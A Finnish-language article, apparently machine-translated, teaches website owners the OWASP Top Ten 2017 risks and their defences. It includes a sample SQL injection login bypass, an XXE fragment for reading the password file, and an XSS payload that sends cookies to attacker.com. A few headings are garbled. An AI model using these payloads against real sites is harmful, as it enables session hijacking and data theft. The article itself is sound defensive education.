Yleisimmät hyökkäykset, joita verkkosivustoille tapahtuu, on helppo estää. OWASP laati kymmenen tärkeimmän verkkosivustohyökkäyksen listan, joka auttaa sinua löytämään tietoturva-aukkoja. Sukellamme näihin yleisiin hyökkäyksiin ja keskustelemme siitä, mitä voit alkaa tehdä verkkosivustosi suojaamiseksi.
InfoSec-ammattilaisten usein jakama yleinen tilasto on: ”78 prosenttia hyökkäyksistä kohdistuu sovellukseen.”
Ei kulu viikkoakaan kuulematta jälleen yhdestä massiivisesta tietoturvaloukkauksesta tai haavoittuvuudesta, joka vaikuttaa miljooniin käyttäjiin kaikilla toimialoilla. Olipa tuo luku tarkka tai onko se oikeasti vain 74 % (tai todennäköisemmin lähempänä 85 %), yksi asia on selvä: verkkosivustomme ovat vaarassa, ja jos omalle sivustollesi ei ole vielä tehty hyökkäystä, se on vain ajan ja rahan (ja hyökkääjän motivaation) kysymys.
Yksi mielenkiintoinen piirre, joka on yhteistä monille hyökkäyksille, on se, että ne eivät ole erittäin teknisiä ja saavutettavissa vain NSA:n kellarissa istuvilla edistyneillä hakkeriryhmillä. Yleisin näiden hyökkäysten lähde on ryhmä, joka tunnetaan nimellä ”script kiddies”, kouluttamattomat nuoret, jotka yksinkertaisesti lataavat automatisoituja työkalupaketteja internetistä ja yrittävät murtaa minkä tahansa satunnaisen sivuston, joka tarjoaa helposti hyödynnettävissä olevia matalalla roikkuvia haavoittuvuuksia. Jopa taitavammat verkkorikolliset aloittavat ensimmäiset yrityksensä käyttämällä samoja työkalupaketteja (tai hieman kehittyneempiä versioita niistä).
Miksi meidän pitäisi välittää? Koska tämä tarkoittaa sitä, että yleisimmät hyökkäykset ja yleisimmin hyödynnetyt haavoittuvuudet ovat aina puolustuksemme ensimmäinen ja heikoin ketju.
Se on siis myös se kohta, johon meidän on keskitettävä ensimmäiset ponnistuksemme puolustuksen vahvistamiseksi. Onneksi se on myös helpoin kohta testata ja varmistaa ainakin minimaalinen turvallisuustaso.
Nämä yleiset haavoittuvuudet on koottu ”Top Ten”-luetteloksi, jonka ovat laatineet ystävälliset vapaaehtoiset OWASP:ssä (Open Web Application Security Project), maailmanlaajuisessa voittoa tavoittelemattomassa yleishyödyllisessä organisaatiossa, joka on keskittynyt parantamaan ohjelmistojen tietoturvaa.
Vaikka tämä ”Top Ten”-luettelo ei ole varsinainen ”tietoturvan tarkistusluettelo,” niin silti se on kuitenkin monesti ensimmäinen haavoittuvuus, jota hyökkääjät yrittävät. Samoin on olemassa lukuisia automatisoituja työkaluja, jotka skannaavat verkkosivustosi hyökkääjien palveluksessa, jolloin he voivat nopeasti löytää kriittiset puutteet, joiden avulla he pääsevät käsiksi arvoesineisiisi.
Tässä ovat OWASP:n 10 tärkeintä sovellusturvariskiä, vuoden 2017 painos:
1. Injektio
Hyökkääjä voi manipuloida web-sovellustasi niin, että se muuttaa sen osajärjestelmiin lähetettäviä komentoja lähettämällä yksinkertaisesti virheellisiä pyyntöjä, joissa on turmeltuneita hyötykuormia. Tunnetuin näistä hyökkäyksistä on SQL-injektio, jossa verkkosivustosi käyttäjä voi saada sovelluksesi muuttamaan tämän:
select * from users where username=’AviD’ and password=’1234′
tämäksi:
select * from users where username=’Admin’
Tällöin hyökkääjä pääsee kirjautumaan sovellukseesi ylläpitäjänä tietämättä edes salasanaa. Muita tämän hyökkäyksen käyttökohteita olisivat salaisuuksien (tai rahan) varastaminen, tietojen muuttaminen tai jopa kaikkien toiminnan jälkien poistaminen.
Muita muotoja ovat LDAP-injektio, XPath-injektio, komentojen injektio, SMTP-injektio – mikä tahansa kerta, kun sovellus liittää epäluotettavan käyttäjän syötteen yhteen komennoksi, joka välitetään tulkille. Epänormaalit tiedot voivat huijata tulkkia suorittamaan ei-toivottuja komentoja tai käyttämään tietoja ilman asianmukaista valtuutusta.
Nämä hyökkäykset voidaan yleensä estää melko helposti noudattamalla muutamia periaatteita:
- Validoida kaikki epäluotettava syöte valkoisen listan lähestymistavalla lähteestä riippumatta.
- Käyrä aina tietokantaan vain parametrisoitujen kyselyjen ja tallennettujen proseduurien avulla sen sijaan, että ketjuttaisit merkkijonokyselyn.
- Käytä vielä paremmin asianmukaista ORM-kirjastoa (ORM = Object Relational Mapping) (kuten Hibernate, Entity Framework, ActiveRecord muutamia mainitakseni, alustastasi riippuen).
- Limitoi onnistuneen hyväksikäytön potentiaalista vahinkoa pienentämällä sovelluksen tietokantaoikeuksia.
2. Hävittäjät eivät voi käyttää tietokantoja. Rikkinäinen todennus
Useimmat sovellukset vaativat käyttäjiään kirjautumaan sisään ennen käyttöä, usein käyttäjätunnuksen ja salasanan yhdistelmällä. Tässä todennusjärjestelmässä on monenlaisia yleisiä puutteita, joita voidaan hyödyntää monin eri tavoin: sanakirjahyökkäykset, automatisoitu brute force -hyökkäys, credential stuffing, session kaappaus ja paljon muuta.
Hyökkääjä, joka onnistuu arvaamaan kelvollisen salasanan, voisi esiintyä kyseisenä käyttäjänä ja suorittaa minkä tahansa toiminnon, jonka hänen uhrinsa pystyisi suorittamaan – ilman, että hyökkääjää ja uhria pystyttäisiin erottamaan.
Tämän estäminen edellyttää monikerroksista lähestymistapaa:
- Vaihda kaikki oletussalasanat.
- Pakota vahvat, satunnaiset salasanat kaikille käyttäjille: vähintään 12 satunnaista merkkiä ilman rajoituksia, mieluiten tallennettuna salasanahallintaohjelmaan; tai vaihtoehtoisesti salasanalause, jossa on vähintään 5 satunnaista sanaa.
- Limitoi kirjautumisyritykset lukitsemalla käyttäjätili tietyksi ajaksi tietyn väärän salasanamäärän jälkeen.
- Käytä turvallista alustan istunnonhallintaohjelmaa, joka tuottaa satunnaisesti pitkät istuntotunnisteet ja toteuttaa turvallisen istunnon elinkaaren.
- Suojaa salasanat kryptografisella ”salasanan hash”-algoritmilla, kuten Bcrypt, scrypt tai Argon2.
Harkitse myös monitekijätodennuksen käyttöönottoa salasanaan perustuvien hyökkäysten vähentämiseksi, äläkä anna hyökkääjän ohittaa salasanaasi tietämällä kissasi nimen ”Unohdin salasanan” -sivulla. On muutamia muita yksityiskohtia, jotka voivat olla merkityksellisiä, riippuen erityisestä arkkitehtuuristasi ja asiayhteydestäsi.
3. Arkaluonteisten tietojen paljastuminen
Salaisuus on yleensä suojattava salauksella ja muilla salausalgoritmeilla. Tämä toteutetaan kuitenkin liian usein, jos lainkaan, puutteellisesti, jolloin hyökkääjät voivat napata arkaluonteisia tietoja, joita heidän ei pitäisi saada haltuunsa, kuten salasanoja, luottokortteja, henkilökohtaisia tietoja (PII) ja muita liiketoimintakriittisiä tietoja.
Joitakin yleisiä puutteita ovat muun muassa se, että tietoja ei ole salattu, että on luotu mukautettu salauskaavio vakioalgoritmien ja -protokollien sijaan, että on käytetty heikkoja avaimia, että salausavaimia on paljastettu ja että protokollia ei ole pantu täytäntöön kunnolla, esim.esim. TLS-varmenteen validoimatta jättäminen.
Korrektien salausvalvontamenetelmien (kuten AES-salaus tallennetuille tiedoille ja TLS, jossa HSTS on käytössä liikenteessä) ja oikeiden parametrien käytön pitäisi suojata arkaluonteiset tietosi riittävästi sekä levossa että kuljetuksen aikana.
4. XML External Entities (XXE)
Usein sovellusten on vastaanotettava ja käsiteltävä XML-dokumentteja käyttäjiltä. Vanhat tai huonosti konfiguroidut XML-parserit voivat ottaa käyttöön XML-ominaisuuden, joka tunnetaan XML-dokumenttien sisällä olevina ulkoisina entiteettiviittauksina, jotka arvioitaessa upottavat toisen tiedoston sisällön. Hyökkääjät voivat käyttää tätä väärin lukeakseen luottamuksellisia tietoja, päästäkseen käsiksi sisäisiin järjestelmiin ja jopa sammuttaakseen sovelluksen DoS-hyökkäyksessä (Denial of Service).
Esimerkiksi XML-dokumentti, joka sisältää tämän:
]>&xxe;
sisällyttäisi salasanatiedoston sisällön XML-dokumentin sisään.
Tämä voidaan estää yksinkertaisesti poistamalla DTD:n ja ulkoisten entiteettien arviointi käytöstä jäsentimessä tai päivittämällä nykyaikaiseen jäsentinkirjastoon, joka ei ole haavoittuvainen.
5. Rikkinäinen pääsynvalvonta
Useimmat verkkosovellukset rajoittavat sitä, mitä käyttäjät voivat nähdä tai tehdä, olipa kyse sitten pääsystä toisen käyttäjän henkilökohtaisiin tietoihin tai johonkin rajoitettuun alueeseen.
Näitä rajoituksia valvovat pääsynvalvontamekanismit ovat kuitenkin yleensä räätälöityjä toteutuksia, ja ne ovat usein syvästi puutteellisia. Hyökkääjät voivat ohittaa nämä valvontamekanismit tai käyttää niitä väärin päästäkseen käsiksi luvattomiin toimintoihin tai tietoihin, kuten päästä käsiksi toisten käyttäjien tileihin, tarkastella arkaluonteisia tiedostoja, muokata toisten käyttäjien tietoja, suorittaa hallinnollisia toimia ja paljon muuta.
Käytönvalvonnan puutteiden korjaaminen ja ehkäiseminen edellyttää kuitenkin systeemistä tarkastelua. Tarvitaan täydellinen, perusteellinen tarkastelu kaikista sovelluksen ominaisuuksista, järjestelmävaatimuksista, käyttäjärooleista ja muista rajoituksista. On olemassa erilaisia yleisiä malleja, joita voidaan soveltaa vaatimusten mukaan. Yleisimpiä ovat rooleihin perustuva pääsynvalvonta (RBAC, Role Based Access Control), harkinnanvarainen pääsynvalvonta (DAC, Discretionary Access Control) ja eheyteen perustuva tai pakollinen pääsynvalvonta (MAC, Mandatory Access Control).
Muita erikoisempia malleja voivat olla attribuutteihin (ABAC, ABAC), toimintatapoihin (PBAC, PBAC), konteksteihin perustuva pääsynvalvonta (CBAC, CBAC), luokitteluun perustuva pääsynvalvonta (useita malleja on olemassa erityisesti puolustushallinnon piirissä) sekä erilaiset muut yksilölliset mallit. On tärkeää suunnitella pääsynvalvontamalli hyvin, jotta sitä voidaan soveltaa yhdenmukaisesti ja hallinnoida tehokkaasti. Lähdetään liikkeelle vähimmän etuoikeuden periaatteesta ja annetaan valtuutus vain tarvittaessa.
Lisäksi monissa järjestelmissä on otettava huomioon käyttäjien henkilötietojen käytön valvonta yksityisyyden suojan näkökulmasta. Käyttäjien yksityisyyden riittävä säilyttäminen ja ilman suostumusta tapahtuvan pääsyn estäminen on entistäkin tärkeämpää, erityisesti EU:n GDPR-päivityksen valossa.
6. Turvallisuusvirheet
Palvelimissa ja sovelluksissa on paljon liikkuvia osia, jotka kaikki on konfiguroitava oikein. Tämä koskee sovelluspinon kaikkia tasoja käyttöjärjestelmästä ja verkkolaitteista aina verkkopalvelimeen ja itse sovellukseen asti.
Esimerkkiset, epätäydelliset tai tapauskohtaiset konfiguroinnit voivat jättää tiedostoja suojaamatta, oletussalasanoja käyttämättä, pilvipalveluja avaamatta ja vuotaa arkaluonteisia tietoja virheilmoitusten tai HTTP-otsikoiden kautta, samoin kuin lukuisat muutkin epävarmat asetukset, joiden avulla hyökkääjä voi päästä käsiksi järjestelmään tai tietoihin.
Ei tietenkään ole olemassa mitään yksittäistä säätötapaa, joka estäisi haavoittuvuuden olemassaolon. Kaikki mahdollisesti haavoittuvat asetukset tulisi tarkistaa. Huomaa, että tähän kuuluvat myös oikea-aikaiset järjestelmäpäivitykset ja -korjaukset!
7. Cross-Site Scripting (XSS)
XSS:n avulla hyökkääjä voi muokata sovelluksessasi muiden käyttäjien näkemiä verkkosivuja, olipa kyse sitten tietojen, kuten salasanojen ja luottokorttien, varastamisesta, väärennettyjen tietojen levittämisestä, käyttäjäistuntojen kaappaamisesta, toiselle sivustolle uudelleenohjaamisesta tai haitallisten komentosarjojen suorittamisesta uhrin selaimessa.
Tämä haavoittuvuus voi esiintyä aina, kun verkkosivulle tai -vastaukseen sisällytetään epäluotettavia tietoja ilman asianmukaista validointia tai sanitointia. Hyökkääjä voi lähettää lomakkeita, joissa on HTML- tai JavaScript-pätkiä, jotka upotetaan suoraan sivulle ja selain renderöi ne.
Esimerkiksi tämä palvelinkoodi:
response.write(”Hyvää huomenta, ” + request.getParameter(”Name”));
upottaa käyttäjän Name-parametrin suoraan tulosteeseen. Tarkoituksena on palauttaa seuraava sivu, jos käyttäjän nimi on ”John”:
Hyvää huomenta, John
Hyvää huomenta, John
Hyökkääjä voi sen sijaan syöttää haitallisen hyötykuorman:
Hyvää huomenta, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie
joka suoritetaan käyttäjän selaimessa, jolloin käyttäjän istuntoeväste lähetetään hyökkääjälle ja hyökkääjä voi kaapata istunnon.
Huippusuojaus XSS-hyökkäyksiä vastaan on oikean koodauksen käyttö. Esimerkiksi HTML-koodaus muuttaa kaikki ”erikoismerkit” HTML-olioiksi siten, että ne näkyvät käyttäjälle samanlaisina, mutta jäsentäjä ei tunnista niitä kelvollisiksi HTML-tunnisteiksi. On kuitenkin olemassa muitakin koodausmuotoja, joita olisi käytettävä riippuen tulostettavan tiedon erityisestä kontekstista – esimerkiksi attribuuttikoodaus, JavaScript-koodaus, CSS-koodaus ja niin edelleen. Useimmat nykyaikaiset verkkoalustat tarjoavat tämän toiminnallisuuden automaattisesti tai funktiokutsuna, ja niille, jotka eivät sitä tarjoa, on olemassa runsaasti tietoturvakirjastoja.
Lisäksi on hyvä ottaa käyttöön CSP (Content Security Policy), jotta selain ei renderöi läpi päässyttä XSS-hyökkäystä. Määritä myös istuntoevästeet (joko sovelluskoodissa tai verkkopalvelimen konfiguraatiossa) siten, että ne sisältävät HttpOnly-attribuutin, jolla estetään onnistuneita XSS-hyökkäyksiä kaappaamasta käyttäjien istuntoja.
8. Epävarma deserialisointi
Tämän luettelon uusin lisäys, Epävarma deserialisointi, voi mahdollistaa injektiohyökkäykset ja etuoikeuksien laajentamisen ja jopa johtaa etäkoodin suorittamiseen ja palvelimen haltuunottoon tietyissä tilanteissa.
Monien sovellusten on serialisoitava objekteja ja tietoja muotoon, joka voidaan helposti välittää langan välityksellä tai jopa tallentaa tiedostoon. Kun sovellus palauttaa nämä objektit takaisin muistiin deserialisoimalla käyttäjältä vastaanotettua muotoiltua dataa, objektin muistia voi olla mahdollista peukaloida ja jopa saada se suorittamaan mielivaltaisia toimintoja.
Paras tapa välttää Epävarma deserialisointi (Insecure Deserialization) on olla koskaan deserialisoimatta objekteja epäluotettavasta datasta ollenkaan! On paljon parempi välttää natiiveja deserialisointiformaatteja kokonaan silloin, kun se on mahdollista, ja suosia sen sijaan datan formaattia, kuten XML:ää tai JSON:ia.
Jos on välttämätöntä deserialisoida natiivista formaatista, sen tekeminen turvallisesti edellyttää ohjelmointikielen sisäisten ominaisuuksien ymmärtämistä. Turvalliseen deserialisointiin tarvitaan erilaisia vaiheita riippuen siitä, millä kielellä sovelluksesi on kehitetty. Esimerkiksi Javassa voit aliluokitella java.io.ObjectInputStream-luokan. Lisäksi on suositeltavaa deserialisoida vain sellaisesta datasta, jonka sovelluksesi on digitaalisesti allekirjoittanut.
9. Tunnettuja haavoittuvuuksia sisältävien komponenttien käyttäminen
Nykyaikaisia ohjelmistoja ei enää rakenneta monoliittisina, vaan ne tukeutuvat aina vain suurempaan määrään kolmannen osapuolen komponentteja, kehyksiä ja avoimen lähdekoodin kirjastoja. Näistä riippuvuussuhteista löytyvät tunnetut haavoittuvuudet voivat vaikuttaa suoraan myös omaan sovellukseesi! Joskus tämä johtaa muihin tässä luettelossa mainittuihin haavoittuvuuksiin, kuten injektioon, etäkoodin suorittamiseen tai mihin tahansa muuhun virheeseen, jonka avulla hyökkääjät voivat päästä käsiksi arkaluontoisiin tietoihin tai toimintoihin.
Viime aikoina juuri tällaista ongelmaa syytettiin massiivisesta Equifaxin tietoturvaloukkauksesta, jossa Apache Struts2:een ei asennettu korjausta. Sen sijaan he jäivät käyttämään versiota, jonka tiedettiin antavan etähyökkääjille mahdollisuuden suorittaa mielivaltaisia komentoja.
Paras tapa välttää lankeaminen tähän ansaan on tarkistaa kaikki riippuvuussuhteesi (mukaan lukien siirtyvät riippuvuudet) ja tarkistaa, onko jokin niistä tällä hetkellä haavoittuva. Toteuta prosessi, jolla varmistat, että sovelluksesi vetää aina uusimmat vakaat versiot kaikista riippuvaisista kirjastoista ja komponenteista niiden testaamisen jälkeen. Itse asiassa tällä hetkellä on olemassa lukuisia kaupallisia työkaluja, jotka voivat seurata tätä tiimisi puolesta, sekä OWASP:n ilmainen Dependency-Check.
10. Lue lisää. Riittämätön lokitus & Seuranta
Vaikka yritämme tehdä järjestelmistämme immuuneja kaikkia mahdollisia hyökkäyksiä vastaan, realistisesti ajatellen meidän on hyväksyttävä, että jotkut hyökkäykset pääsevät puolustuksemme läpi. Kestävän puolustuksen tulisi kuitenkin sisältää useita kerroksia. Siihen kuuluu mahdollisuus havaita ne hyökkäykset, jotka onnistuivat kaikista ponnisteluistamme huolimatta, mieluiten mahdollisimman pian.
Tällöin organisaatio voi vielä toipua hyökkäyksestä tai jopa minimoida vahingot niin pitkälle kuin mahdollista. Kirjaamis- ja seurantamekanismi yhdistettynä tehokkaaseen häiriötilanteisiin reagoimiseen voi estää hyökkääjiä kääntymästä ylimääräisiin sisäisiin resursseihin, uppoutumasta pysyvästi organisaatioon ja estää heitä varastamasta tai muuttamasta vieläkin enemmän tietoja.
Valmistetaan yhteinen kirjaamismekanismi koko sovellusta varten. On parasta käyttää olemassa olevaa kirjastoa, kuten log4J:tä, mutta se ei ole välttämätöntä. Lokimekanismin tulisi kerätä kaikki käyttäjän käynnistämät toiminnot, ajonaikaiset virheet ja kaikki muut arkaluonteiset tapahtumat. Varmista, että lokitiedot on suojattu hyvin, äläkä unohda tarjota ylläpitäjille haku- ja tarkastelurajapintaa!
Hyvä uutinen on se, että useimmat näistä ongelmista ovat suhteellisen yksinkertaisia, ja ne on helppo ehkäistä, jos tietää, mitä etsiä. Siksi, vaikka tämä ei olekaan kattava luettelo kaikista tietoturvaongelmista, joihin sinun tulisi kiinnittää huomiota, se on ehdottomasti yksi parhaista paikoista aloittaa retkesi kohti suojattua verkkosivustoa!